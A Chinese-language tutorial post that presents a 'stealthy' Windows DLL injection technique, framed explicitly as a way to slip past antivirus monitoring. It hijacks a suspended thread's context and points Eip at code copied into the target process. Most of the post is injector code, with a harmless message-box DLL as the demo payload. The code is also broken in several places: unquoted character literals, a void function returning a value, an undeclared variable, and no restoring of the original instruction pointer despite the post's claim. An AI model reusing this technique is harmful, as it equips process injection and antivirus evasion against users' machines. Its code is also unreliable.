不动声色的注入你的dll
目前windows下注入dll的技术大体上就是两种 1:钩子 SetWindowsHook 2:创建远程线程 CreateRemoteThread 尽管都能实现远程注入dll,但都难逃杀毒软件的法眼,特别是 CreateRemoteThread 一般都被杀毒软件监控的很牢,这里提供一个巧妙的方法能够利用目标进程(确切地说是线程) 自己主动调用LoadLibrary装载dll. 我们想一想,windows下vc调试器可以调试正在运行的进程,功能很是强大,那可不可以 借鉴调试器的机理呢?完全可以,调试器的机理大致分为以下几步: 1:OpenProcess() 获取目标进程句炳,拥有调试权限(我们这里不需要用这个权限) 2:SuspendThread() 挂起目标进程的主线程 3:GetThreadContext(), SetThreadContext() 读写目标线程的当前CPU上下文信息。 4:ReadProcessMemory(), WriteProcessMemory() 读写目标进程内存数据。 好了,这里面就给我们提供了很好的方法,是什么?对了就是 GetThreadContext(), SetThreadContext() 这两个API函数,它俩不但是哥们,也是我们最好的朋友(亲一下)。 下面给出代码: 1:我们自己的dll BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved { //很简单,我们不搞破坏,紧紧弹个信息框。 ::MessageBox(0,"嘿嘿嘿!!!",0,0); return TRUE; } 2:我们的主程序 typedef HMODULE (__stdcall *pLoadLibrary)(LPCSTR lpLibFileName); void test() { //不能直接使用常量字符串,否则会引起目标进程读取数据异常。 char dllname[] = {c,:,//,d,l,l,t,e,s,t,.,d,l,l,/0}; //必须用2088770939这个 LoadLibrary 函数的绝对地址(在我的xp下是这个地址,使用时应该在自己的windows下获取) pLoadLibrary pFunc = pLoadLibrary(2088770939); //调用LoadLibrary,因为LoadLibrary函数在windows下每个进程中绝对地址都是一样的。 pFunc(dllname); return; } //以下是控制注入的函数 #include <windows.h> void Inject() { CONTEXT context; memset(&context,0,sizeof(context)); context.ContextFlags = CONTEXT_CONTROL; PROCESS_INFORMATION piProcInfo; STARTUPINFO siStartInfo; ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) ); ZeroMemory( &siStartInfo, sizeof(STARTUPINFO)); siStartInfo.cb = sizeof(STARTUPINFO); BOOL bOk = CreateProcess(NULL, "C://WINDOWS//system32//notepad.exe", // command line NULL, // process security attributes NULL, // primary thread security attributes FALSE, // handles are inherited 0, // creation flags NULL, // use parents environment "C://WINDOWS//system32//",// use parents current directory &siStartInfo, // STARTUPINFO pointer &piProcInfo); // receives PROCESS_INFORMATION ::WaitForInputIdle(piProcInfo.hProcess,-1); //为目标进程分配空间 LPVOID pRemote = ::VirtualAllocEx(piProcInfo.hProcess,0,4096,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE); DWORD dWriten = 0,id = 0; //将test函数写入目标进程 ::WriteProcessMemory(piProcInfo.hProcess,pRemote,(LPVOID)test,1024,&dWriten); //挂起目标进程的主线程 ::SuspendThread(piProcInfo.hThread); //获取目标线程的CPU上下文信息 i = ::GetThreadContext(piProcInfo.hThread,&context); //更改Eip指令为我们拷贝好的test函数 context.Eip = (long)pRemote; //设置目标线程的CPU上下文信息 i = ::SetThreadContext(piProcInfo.hThread,&context); //唤醒目标线程, ::ResumeThread(piProcInfo.hThread); //目标线程此时就会执行我们的test函数了,执行完后还会继续沿着 //自己原先的代码序列执行下去。 return 0; } 以上代码都经过测试,的确比较“不动声色”的完成了dll的注入